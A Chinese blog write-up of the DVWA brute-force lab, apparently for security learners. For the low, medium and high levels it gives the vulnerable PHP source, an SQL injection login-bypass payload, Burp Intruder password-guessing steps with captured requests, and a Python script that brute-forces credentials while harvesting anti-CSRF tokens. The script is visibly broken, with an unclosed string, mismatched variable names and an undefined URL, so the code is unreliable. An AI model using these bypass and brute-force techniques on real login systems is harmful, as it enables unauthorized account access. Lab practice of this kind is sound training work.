【WEB安全】DVWA Brute Force 暴力破解

LOW级别

源码:

// isset 检查变量是否已经存在于括号内的数据中 $_GET是获得 传输的时候的表单的值
//GET /DVWA/vulnerabilities/brute/?username=admin&password=password&Login=Login HTTP/1.1

if( isset( $_GET[ 'Login' ] ) ) { 
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass ); //使用md5加密,可以解出来

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // 查库
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 使用数据库连接配置

    if( $result && mysqli_num_rows( $result ) == 1 ) { //关注是否得到的值是否不为空就返回结果
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src="{$avatar}" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

方法:

用户名处可以直接注入sql的语句:

admin' or '1'='1

or表示只要有一个为真就可以,这里将查询语句使用 ' 直接截断了查询
sql注入之后的数据库查询语句:

SELECT * FROM users WHERE user = 'admin' or '1' = '1' AND password = ''

这样获得的查询就是我只要用户名为真或者('1'='1')and(password = ''),前边一定是真的,那么这样不输入密码也就无所谓了,因此直接绕过了密码检查,可以直接登录

MEDIUM级别

源码:

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 相比于low级别,多了这个代码,这个函数是针对一些字符进行转义

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src="{$avatar}" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

分析:

相对于low级别多了转义的函数,也就是将输入的字符先进行一步处理,减少注入的可能

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:

  • x00
  • '
  • "
  • x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

方法:

使用软件进行 burp 做个代理,也就是让浏览器出去的流量都先经过代理软件,之后再向外发,这样也就算进行了流量的劫持,可以用来进行分析

浏览器代理设置:
设置-代理-手动代理配置-HTTP代理:127.0.0.1 端口:8080
HTTPS Proxy:127.0.0.1 端口:8080
Burp设置:
Proxy-Intercept-Intercept is on 打开

处理完之后可以直接使用浏览器了,填写一个账号密码就可以捕捉了,选择login的时候可以捕捉到以下信息

GET /DVWA/vulnerabilities/brute/?username=admin&password=&Login=Login HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close

账号密码已经出现在数据里,接下来将进行Action-Send to Intruder-Positions,进行变量分析

Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。

他会自动的进行变量的寻找,在这里我们只要设置有用的就行,Clear §,将需要的部分也就是password部分进行 Add §

GET /DVWA/vulnerabilities/brute/?username=admin&password=§1212§&Login=Login HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close

之后就可以在Payloads-Payload Options [Simple list]里边进行设置密码了,这里是以列表的形式进行Add,就是可以加上各种可能的密码,之后让其逐一发包尝试,因为返回结果上应该会存在不同,因此可以直接关注返回结果的长度情况判断哪个是密码。设置完了之后直接点击 Start attack进行尝试

最长的那个不同,因此就是密码了,是password

这个可以也用密码本进行处理,需要调的就是上边的Payload Sets-Payload type:Runtime file

下边选择,文件就可以了

HIGH级别

源码:

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //这里增加了一个token,用来验证当下的浏览器是否是已经验证的浏览器,一般都是打开网站的时候直接分发一个token,之后登录的时候需要使用这个token进行以及登录

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];


        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src="{$avatar}" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

分析:

查看token,先用burp进行抓取一下:

GET /DVWA/vulnerabilities/brute/?username=admin&password=&Login=Login&user_token=97cb40329edd0d851ce853db5f0769f8 HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=high; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close

标注处就是token,之后需要先获取一下这个token之后使用medium进行爆破就可以了,获取token可以写个脚本处理,这里写一下token的获取函数吧

from bs4 import BeautifulSoup
import requests

header={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', # 抓到的包中的
    'Cookie': 'security=high; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48' # 同上
}

def get_token(url,headers):
    r = requests.get(url,headers=header) # 发送一个请求
    html = r.content.decode() # 解码得到的内容
    soup = BeautifulSoup(html,"html.parser) # 使用BeautifulSoup进行分解
    user_token = Soup.find_all('input')[3]["value"] # 找到解析到的界面的token的位置,这个需要从界面的html中分析一下,看看具体是那个位置
    return user_token

i=8
for admin in open("user.txt"):
    for line in open("password.txt"):
        u_token = get_token(url,header)  # 获取token
        username = admin.strip() # 读用户名
        password = line.strip() # 读密码
        paload = {'username':username,'password':password,'Login':'Login','user_token':u_token} # 数据拼接
        i = i+1
        response = requests.get(url,params=payload,headers=header) # 再进行网页的内容的传输
        print(i,username,password,len(response.contect.decode()))
        user_token = get_token(url,header)

这样就相当于直接使用python进行试错

这个token可以直接从网页上搞也可以,直接f12分析

致谢:

本文基于此视频进行的实验总结,如果不清楚请参考视频https://www.bilibili.com/video/BV1HK411j7Me

原文地址:https://www.cnblogs.com/philokami/p/14779096.html